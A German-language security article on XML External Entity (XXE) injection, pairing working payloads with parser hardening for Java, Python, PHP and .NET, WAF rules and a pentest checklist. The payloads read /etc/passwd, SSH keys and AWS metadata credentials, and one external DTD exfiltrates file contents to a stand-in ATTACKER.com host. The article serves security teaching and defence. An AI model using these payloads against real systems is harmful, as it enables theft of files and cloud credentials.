XXE - XML External Entity Injection
XML External Entity (XXE) Injection ist eine Schwachstelle in XML-Parsern die es erlaubt externe Entitäten in XML-Dokumente einzubetten. Angreifer nutzen XXE um lokale Dateien zu lesen (/etc/passwd, AWS Credentials), SSRF-Angriffe durchzuführen, oder in seltenen Fällen Remote Code Execution zu erreichen. XXE ist in OWASP Top 10 2017 als A04 gelistet und tritt besonders bei unsicheren XML-Parser-Konfigurationen auf (libxml2, Java SAXParser, .NET XmlDocument).
XXE ist eine der tückischsten Web-Schwachstellen weil sie oft in versteckten XML-Verarbeitungspfaden auftritt - in Upload-Endpunkten, SOAP-Services, SVG-Dateien, Office-Dokumenten und REST-APIs mit XML-Support. Ein Angreifer der XXE in einem internen System findet, kann damit Cloud-Credentials aus dem Metadata-Dienst lesen und die gesamte AWS-Infrastruktur kompromittieren.
XXE Grundprinzip
Normale XML-Entitäten
<!DOCTYPE note [
<!ENTITY name "Alice">
]>
<note>
<to>&name;</to>
</note>
&name; wird zu “Alice” expandiert - vollständig harmlos.
External Entity - das Problem
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>
Der Parser liest /etc/passwd und fügt den Inhalt ein. Der Server sendet den /etc/passwd-Inhalt in der Antwort zurück.
Warum ist das möglich?
- Der XML-Standard erlaubt externe Entitäten
- Viele XML-Parser aktivieren externe Entitäten standardmäßig
- Java SAXParser: vor Java 8 u251 unsicher by default
- libxml2: externes Entity-Loading per Default aktiv
- .NET XmlDocument: unsicher bis .NET 4.5.2
XXE-Payloads
Dateilesen (Linux)
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<stockCheck>
<productId>&xxe;</productId>
<storeId>1</storeId>
</stockCheck>
Typische Zieldateien:
| Pfad | Inhalt |
|---|---|
file:///etc/passwd | Benutzerkonten |
file:///etc/shadow | Passwort-Hashes (wenn Zugriff!) |
file:///etc/hosts | Interne Hostnamen |
file:///proc/self/environ | Umgebungsvariablen (API Keys!) |
file:///home/user/.ssh/id_rsa | SSH Private Keys |
file:///var/www/html/config.php | Datenbankpasswörter |
Dateilesen (Windows)
file:///C:/Windows/system32/drivers/etc/hostsfile:///C:/inetpub/wwwroot/web.config- IIS-Konfigurationfile:///C:/Users/Administrator/.ssh/id_rsa
AWS-Credentials via XXE + SSRF
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/EC2Role">
]>
<foo>&xxe;</foo>
Liest temporäre AWS-Credentials aus dem EC2 Instance Metadata Service (IMDS). In AWS-Umgebungen ein kritischer Fund, da der gesamte Account kompromittierbar ist.
Blind XXE (Out-of-Band)
Wenn keine direkte Antwort kommt, kann der Angreifer dennoch Daten exfiltrieren.
Nachweis der XXE-Anfälligkeit:
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://ATTACKER-SERVER.com/test?data=">
]>
<foo>&xxe;</foo>
Der Angreifer-Server empfängt einen HTTP-Request als Nachweis.
Externe DTD auf Angreifer-Server (evil.dtd):
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://ATTACKER.com/?data=%file;'>">
%eval;
%exfil;
Payload an Zielsystem:
<!DOCTYPE foo [
<!ENTITY % remote SYSTEM "http://ATTACKER.com/evil.dtd">
%remote;
]>
<foo>trigger</foo>
XXE via SVG-Upload
SVG-Dateien sind XML. Upload-Endpunkte für “Avatar hochladen” oder “Thumbnail” sind häufig betroffen:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/hostname">
]>
<svg xmlns="http://www.w3.org/2000/svg">
<text>&xxe;</text>
</svg>
Wenn das SVG gerendert wird, erscheint der Hostname im Bild.
XXE via XLSX/DOCX-Upload
Office-Dokumente sind ZIP-Archive mit XML-Dateien. Zum Manipulieren:
# 1. Originaldatei entpacken:
unzip doc.docx -d doc/
# 2. [Content_Types].xml XXE-Payload hinzufügen
# 3. Neu verpacken:
zip -r evil.docx doc/
XXE in SOAP-Webservices
POST /soap/service HTTP/1.1
Content-Type: text/xml
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<soap:Envelope xmlns:soap="...">
<soap:Body>
<getUser>
<username>&xxe;</username>
</getUser>
</soap:Body>
</soap:Envelope>
XXE-Schutzmaßnahmen
Parser sicher konfigurieren
Java (SAXParser, DocumentBuilder):
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
// External Entities deaktivieren:
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
// ODER granularer:
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
factory.setXIncludeAware(false);
factory.setExpandEntityReferences(false);
DocumentBuilder builder = factory.newDocumentBuilder();
Python (defusedxml) - empfohlen:
# NICHT: lxml.etree.parse(file) - XXE-anfällig!
# GUT: defusedxml verwenden:
import defusedxml.ElementTree as ET
tree = ET.parse(file) # Blockiert automatisch: XXE, Billion Laughs, DTD
Python (lxml) - explizit konfiguriert:
from lxml import etree
parser = etree.XMLParser(
resolve_entities=False,
no_network=True,
load_dtd=False
)
tree = etree.parse(file, parser)
PHP:
// libxml_disable_entity_loader() - veraltet in PHP 8.0, jetzt Standard!
// PHP 7.x:
libxml_disable_entity_loader(true);
// PHP 8.0+: externe Entitäten sind standardmäßig deaktiviert!
// Trotzdem: LIBXML_NONET Flag verwenden:
$dom = new DOMDocument();
$dom->loadXML($xml, LIBXML_NONET | LIBXML_DTDLOAD);
.NET (XmlDocument, XmlReader):
// Unsicher (< .NET 4.5.2):
XmlDocument doc = new XmlDocument();
doc.Load(xmlInput); // XXE-anfällig!
// Sicher:
XmlDocument doc = new XmlDocument();
doc.XmlResolver = null; // Externe Resolver deaktivieren
doc.Load(xmlInput);
// XmlReader (sicherer by default seit .NET 4.5.2):
XmlReaderSettings settings = new XmlReaderSettings();
settings.DtdProcessing = DtdProcessing.Prohibit;
settings.XmlResolver = null;
using XmlReader reader = XmlReader.Create(input, settings);
NGINX / WAF-Ebene:
SecRule REQUEST_BODY "@rx SYSTEM\s*[\"']" \
"id:1001,phase:2,t:none,deny,status:400,msg:'XXE Attempt'"
SecRule REQUEST_BODY "@rx <!ENTITY" \
"id:1002,phase:2,t:none,deny,status:400,msg:'XXE Entity Declaration'"
Design-Empfehlungen
- JSON statt XML wo möglich (JSON hat kein Entity-Problem)
- SVG-Upload: serverseitig in PNG/JPG konvertieren (Pillow/ImageMagick)
- Office-Dokument-Parser: spezialisierte Bibliotheken (Apache POI, python-docx) statt direktes XML-Parsing
- Input-Validation: Content-Type + Magic Bytes prüfen
XXE-Testing
Pentest-Vorgehen
Schritt 1 - XML-Input-Punkte identifizieren:
- Alle Endpunkte mit
Content-Type: application/xml/text/xml - Upload-Endpunkte (SVG, DOCX, XLSX, XML)
- SOAP-Endpoints
- JSON-APIs mit optionalem XML-Support (
Accept: application/xml)
Schritt 2 - Basis-Payload testen:
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://BURP-COLLABORATOR.net/test">]>
<xml>&xxe;</xml>
Kommt ein DNS-Lookup oder HTTP-Request beim Collaborator an?
Schritt 3 - Dateilesen versuchen:
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/hostname">]>
<xml>&xxe;</xml>
Ist der Hostname in der Response sichtbar?
Schritt 4 - Blind XXE prüfen:
Wenn kein direkter Output erscheint, OOB-Exfiltration versuchen. interactsh eignet sich als Callback-Server.
Schritt 5 - Automatisierte Tools:
nuclei -t nuclei-templates/vulnerabilities/xxe/ -u https://target.com
Burp Pro: automatische XXE-Erkennung im Active Scan mit Burp Collaborator als OOB-Nachweis.